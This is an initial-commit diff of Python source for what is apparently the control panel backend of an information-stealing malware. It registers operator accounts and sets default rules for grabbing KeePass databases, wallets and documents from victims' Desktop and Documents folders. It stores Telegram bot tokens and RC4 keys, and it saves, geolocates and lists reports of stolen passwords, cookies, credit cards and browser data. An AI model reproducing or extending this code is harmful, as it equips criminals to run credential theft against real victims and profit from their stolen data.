initial commit
This commit is contained in:
Binary file not shown.
Executable
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1 @@
|
||||
# Coded by [email protected]
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,124 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# Coded by [email protected]
|
||||
|
||||
# Import modules
|
||||
from json import dumps
|
||||
from secrets import token_urlsafe
|
||||
from werkzeug.security import \
|
||||
generate_password_hash, check_password_hash
|
||||
# Import packages
|
||||
from core.models.reports import Report
|
||||
from core.manager.database import DatabaseManager
|
||||
|
||||
|
||||
# Connect to clients database
|
||||
clients_db = DatabaseManager("accounts.db")
|
||||
|
||||
""" Account controller """
|
||||
class Account(object):
|
||||
def __init__(self, username, password):
|
||||
self.username = username
|
||||
self.password = password
|
||||
|
||||
# Register new client on server
|
||||
def register(self) -> bool:
|
||||
# Failed register, user already exists
|
||||
if self.exists() is True:
|
||||
return False
|
||||
# Generate password hash
|
||||
password_hash = generate_password_hash(self.password)
|
||||
# Insert new user to db
|
||||
clients_db.execute(
|
||||
sql="INSERT INTO accounts (username, password_hash) VALUES (?, ?)",
|
||||
values=[self.username, password_hash],
|
||||
commit_changes=True
|
||||
)
|
||||
# Insert default grabber rules
|
||||
clients_db.execute(
|
||||
sql="INSERT INTO grabber (scan_paths, extensions, owner) VALUES (?, ?, ?)",
|
||||
values=[
|
||||
dumps(["%Desktop%", "%Documents%"]),
|
||||
dumps(["txt", "kdb", "kdbx", "wallet", "rtf", "doc", "docx", "pdf"]),
|
||||
self.username
|
||||
],
|
||||
commit_changes=True
|
||||
)
|
||||
# Insert default telegram settings
|
||||
clients_db.execute(
|
||||
sql="INSERT INTO telegram (token, chatid, owner) VALUES (?, ?, ?)",
|
||||
values=['', dumps([]), self.username],
|
||||
commit_changes=True
|
||||
)
|
||||
# Insert random RC4 encryption key
|
||||
clients_db.execute(
|
||||
sql="INSERT INTO encryption (key, owner) VALUES (?, ?)",
|
||||
values=[token_urlsafe(16), self.username],
|
||||
commit_changes=True
|
||||
)
|
||||
# Insert empty target apps list
|
||||
clients_db.execute(
|
||||
sql="INSERT INTO targets (owner) VALUES (?)",
|
||||
values=[self.username],
|
||||
commit_changes=True
|
||||
)
|
||||
return True
|
||||
|
||||
# Delete client from server
|
||||
def unregister(self) -> bool:
|
||||
# Failed unregister, user not exists
|
||||
if self.exists() is False:
|
||||
return False
|
||||
# Delete all reports
|
||||
found_reports = Report.GetReports(
|
||||
self.username,
|
||||
geo_data_dict=False
|
||||
)
|
||||
for report in found_reports:
|
||||
report.DeleteReport()
|
||||
# Delete rows from database
|
||||
for table in ["accounts", "grabber", "telegram", "encryption", "targets"]:
|
||||
if table == "accounts": r = "username"
|
||||
else: r = "owner"
|
||||
clients_db.execute(
|
||||
sql=f"DELETE FROM {table} WHERE {r} = ?",
|
||||
values=[self.username],
|
||||
commit_changes=True
|
||||
)
|
||||
return True
|
||||
|
||||
# Verify client password
|
||||
def login(self) -> bool:
|
||||
# Get values from db
|
||||
response = clients_db.execute(
|
||||
sql="SELECT password_hash FROM accounts WHERE username = ?",
|
||||
values=[self.username],
|
||||
commit_changes=False
|
||||
)
|
||||
password_hash = response[0][0]
|
||||
# Verify password hash
|
||||
return check_password_hash(password_hash, self.password)
|
||||
|
||||
# Client is exists
|
||||
def exists(self) -> bool:
|
||||
# Get values from db
|
||||
response = clients_db.execute(
|
||||
sql="SELECT id FROM accounts WHERE username = ?",
|
||||
values=[self.username],
|
||||
commit_changes=False
|
||||
)
|
||||
return len(response) != 0
|
||||
|
||||
# Change client password
|
||||
def change_password(self, new_password: str):
|
||||
password_hash = generate_password_hash(new_password)
|
||||
clients_db.execute(
|
||||
sql="UPDATE accounts SET password_hash = ? WHERE username = ?",
|
||||
values=[password_hash, self.username],
|
||||
commit_changes=True
|
||||
)
|
||||
|
||||
# Bool
|
||||
def __bool__(self):
|
||||
return self.exists() and self.login()
|
||||
|
||||
@@ -0,0 +1,24 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# Coded by [email protected]
|
||||
|
||||
""" Geolocation info """
|
||||
class GeoData(object):
|
||||
def __init__(self, geo_data: dict):
|
||||
u = "Unknown"
|
||||
self.ip_address = geo_data["ip_address"]
|
||||
try: self.city = geo_data["city"]["names"]["en"]
|
||||
except: self.city = u
|
||||
try: self.country = geo_data["country"]["names"]["en"]
|
||||
except: self.country = u
|
||||
try: self.iso_code = geo_data["country"]["iso_code"]
|
||||
except: self.iso_code = u
|
||||
|
||||
""" Get country statistics """
|
||||
def GetCountryStatistics(reports: list) -> dict:
|
||||
stats = {}
|
||||
for report in reports:
|
||||
if not report.geo_data.iso_code in stats:
|
||||
stats[report.geo_data.iso_code] = []
|
||||
stats[report.geo_data.iso_code].append(report.geo_data)
|
||||
return stats
|
||||
@@ -0,0 +1,72 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# Coded by [email protected]
|
||||
|
||||
class ApiErrors:
|
||||
client_not_authorized = "Client not authorized!"
|
||||
function_does_not_exist = "Method '{}' does not exist"
|
||||
|
||||
class Login:
|
||||
account_does_not_exist = "Account '{}' does not exist"
|
||||
wrong_password = "Invalid password to log into your account"
|
||||
logged_in = "Successful login"
|
||||
logged_out = "Logged out from account"
|
||||
already_logged_out = "Already logged out"
|
||||
already_logged_in = "Already logged in account '{}'"
|
||||
|
||||
class Register:
|
||||
account_already_exist = "Account '{}' is already registered"
|
||||
registered_ok = "Successful registration"
|
||||
unregistered_ok = "Account deleted successfully"
|
||||
invalid_credentials = "The username or password you entered is incorrect"
|
||||
change_password_ok = "Password changed successfully"
|
||||
change_telegram_ok = "Telegram bot token saved"
|
||||
change_apps_ok = "Apps list saved"
|
||||
|
||||
class Report:
|
||||
deleted_ok = "Report ID:{} deleted successfully"
|
||||
saved_ok = "Report saved"
|
||||
comment_ok = "Comment changed successfully"
|
||||
not_found = "Report with ID:{} not exists"
|
||||
|
||||
class Grabber:
|
||||
path_deleted_ok = "Path deleted successfully"
|
||||
path_saved_ok = "Scanning path saved"
|
||||
extensions_saved_ok = "Extensions saved"
|
||||
|
||||
class ReportsJsonErrors:
|
||||
default_counter = {
|
||||
"wallets": 0,
|
||||
"passwords": 0,
|
||||
"credit_cards": 0,
|
||||
"autofill": 0,
|
||||
"cookies": 0,
|
||||
"history": 0,
|
||||
"downloads": 0,
|
||||
"grabber": 0,
|
||||
}
|
||||
default_information = {
|
||||
"hardware": {
|
||||
"screen": "0x0",
|
||||
"ram": 0,
|
||||
"cpu_name": "Unknown",
|
||||
"cpu_id": "Unknown",
|
||||
"gpu_name": "Unknown ",
|
||||
"disk_id": "Unknown",
|
||||
"manufacturer": "Unknown"
|
||||
},
|
||||
"network": {
|
||||
"local_ip": "127.0.0.1",
|
||||
"gateway_ip": "Unknown",
|
||||
"bssid": "Unknown"
|
||||
},
|
||||
"power": {
|
||||
"adapter_connected": False,
|
||||
"battery_percentage": 255
|
||||
},
|
||||
"os": {
|
||||
"name": "Unknown",
|
||||
"admin": False,
|
||||
"lang": "Unknown"
|
||||
},
|
||||
}
|
||||
@@ -0,0 +1,189 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
# Import modules
|
||||
from io import BytesIO
|
||||
from hashlib import md5
|
||||
from os import path, remove
|
||||
from maxminddb import open_database
|
||||
from json import loads as parse_json
|
||||
from timeago import format as timeago
|
||||
from time import time, strftime, localtime
|
||||
# Import packages
|
||||
from core.models.country import GeoData
|
||||
from core.models.errors import ReportsJsonErrors
|
||||
from core.manager.database import DatabaseManager
|
||||
from core.paths import REPORTS_DIR, DATABASE_DIR
|
||||
|
||||
# Connect to reports database
|
||||
reports_db = DatabaseManager("reports.db")
|
||||
# Connect to maxmind geo-ip database
|
||||
geo_ip = open_database(path.join(DATABASE_DIR,
|
||||
"GeoLite2-City.mmdb"))
|
||||
|
||||
""" Reports controller """
|
||||
class Report(object):
|
||||
def __init__(self, identification: int = 0,
|
||||
archive: str = "", geo_data: dict = {},
|
||||
counter: dict = {}, information: dict = {}, passwords_list: str = "", cookies_list: str = "",
|
||||
add_time: str = "", comment: str = ""):
|
||||
self.id = identification
|
||||
self.comment = comment
|
||||
self.archive = archive
|
||||
self.counter = counter
|
||||
self.add_time = add_time
|
||||
self.geo_data = geo_data
|
||||
self.information = information
|
||||
self.cookies_list = cookies_list
|
||||
self.passwords_list = passwords_list
|
||||
|
||||
# Repr
|
||||
def __repr__(self):
|
||||
return f"Report(id={self.id})"
|
||||
|
||||
# Check if report exists
|
||||
def Exists(self) -> bool:
|
||||
response = reports_db.execute(
|
||||
sql="SELECT id FROM reports WHERE id = ?",
|
||||
values=[self.id],
|
||||
commit_changes=False
|
||||
)
|
||||
return len(response) != 0
|
||||
|
||||
# Save report
|
||||
def SaveReport(self, ip: str, owner: str):
|
||||
# Get zip name and path
|
||||
zip_name = md5(f"{owner}_{ip}_{len(self.passwords_list)}".encode()).hexdigest()
|
||||
zip_path = path.join(REPORTS_DIR, zip_name)
|
||||
# Write system info to database
|
||||
reports_db.execute(
|
||||
sql="INSERT INTO reports "
|
||||
"(archive, ip_address, counter, information, passwords_list, cookies_list, time, owner) "
|
||||
"VALUES (?, ?, ?, ?, ?, ?, ?, ?)",
|
||||
values=[zip_name, ip, self.counter, self.information, self.passwords_list, self.cookies_list, time(), owner],
|
||||
commit_changes=True
|
||||
)
|
||||
# Write report to archive
|
||||
with open(zip_path, "wb") as archive:
|
||||
archive.write(self.archive)
|
||||
|
||||
# Remove report from disk and database
|
||||
def DeleteReport(self):
|
||||
# Get archive name from database
|
||||
archive_name = reports_db.execute(
|
||||
sql="SELECT archive FROM reports WHERE id = ?",
|
||||
values=[self.id],
|
||||
commit_changes=False
|
||||
)[0][0]
|
||||
# Delete report from database
|
||||
reports_db.execute(
|
||||
sql="DELETE FROM reports WHERE id = ?",
|
||||
values=[self.id],
|
||||
commit_changes=True
|
||||
)
|
||||
zip_file = path.join(REPORTS_DIR, archive_name)
|
||||
# Delete report from disk
|
||||
if path.exists(zip_file):
|
||||
remove(zip_file)
|
||||
|
||||
# Set comment
|
||||
def ChangeComment(self, text: str):
|
||||
# Delete report from database
|
||||
reports_db.execute(
|
||||
sql="UPDATE reports SET comment = ? WHERE id = ?",
|
||||
values=[text, self.id],
|
||||
commit_changes=True
|
||||
)
|
||||
|
||||
# Get archive bytes
|
||||
def GetArchive(self) -> tuple:
|
||||
# Fetch reports
|
||||
response = reports_db.execute(
|
||||
sql="SELECT archive, ip_address, time FROM reports WHERE id = ?",
|
||||
values=[self.id],
|
||||
commit_changes=False
|
||||
)[0]
|
||||
# Read and decompress archive from disk
|
||||
zip_path = path.join(REPORTS_DIR, response[0])
|
||||
if path.exists(zip_path) == True:
|
||||
with open(zip_path, "rb") as archive:
|
||||
# Generate archive name
|
||||
fmt = "%d-%m-%Y %H:%M:%S"
|
||||
name = f"report [{response[1]}] {strftime(fmt, localtime(response[2]))}.zip"
|
||||
# Return handle with generated name
|
||||
return BytesIO(archive.read()), name
|
||||
|
||||
return BytesIO(b''), "error"
|
||||
|
||||
# Check if user is report owner
|
||||
def IsReportOwner(self, owner: str) -> bool:
|
||||
response = reports_db.execute(
|
||||
sql="SELECT owner FROM reports WHERE id = ?",
|
||||
values=[self.id],
|
||||
commit_changes=False
|
||||
)[0]
|
||||
return owner.__eq__(response[0])
|
||||
|
||||
# Get reports
|
||||
@staticmethod
|
||||
def GetReports(owner: str, identification: int = None, geo_data_dict: bool = False) -> list:
|
||||
reports = []
|
||||
# Fetch all reports
|
||||
if identification is None:
|
||||
response = reports_db.execute(
|
||||
sql="SELECT id, archive, ip_address, counter, information, passwords_list, cookies_list, comment, time FROM reports WHERE owner = ? ORDER BY time DESC",
|
||||
values=[owner],
|
||||
commit_changes=False
|
||||
)
|
||||
# Fetch one report
|
||||
else:
|
||||
response = reports_db.execute(
|
||||
sql="SELECT id, archive, ip_address, counter, information, passwords_list, cookies_list, comment, time FROM reports WHERE owner = ? AND id = ?",
|
||||
values=[owner, identification],
|
||||
commit_changes=False
|
||||
)
|
||||
# Enumerate all reports
|
||||
for row in response:
|
||||
|
||||
# Append geo data for report
|
||||
geo = geo_ip.get(row[2])
|
||||
if geo is None: geo = {}
|
||||
geo["ip_address"] = row[2]
|
||||
if geo_data_dict is False:
|
||||
geo = GeoData(geo)
|
||||
|
||||
# Append time data for report
|
||||
fmt = "%d.%m.%Y %H:%M:%S"
|
||||
date = strftime(fmt, localtime(row[8]))
|
||||
ago = timeago(row[8])
|
||||
add_time = f"{date} ({ago})"
|
||||
|
||||
# Parse JSON counter values
|
||||
try:
|
||||
counter = parse_json(row[3])
|
||||
except Exception:
|
||||
# On JSON parse error
|
||||
counter = ReportsJsonErrors.default_counter
|
||||
|
||||
# Parse JSON os information values
|
||||
try:
|
||||
information = parse_json(row[4])
|
||||
except Exception:
|
||||
# On JSON parse error
|
||||
information = ReportsJsonErrors.default_information
|
||||
|
||||
# Create report object
|
||||
new = Report(
|
||||
identification=row[0],
|
||||
archive=row[1],
|
||||
counter=counter,
|
||||
add_time=add_time,
|
||||
cookies_list=row[6],
|
||||
passwords_list=row[5],
|
||||
comment=row[7],
|
||||
geo_data=geo,
|
||||
information=information,
|
||||
)
|
||||
reports.append(new)
|
||||
|
||||
return reports
|
||||
Reference in New Issue
Block a user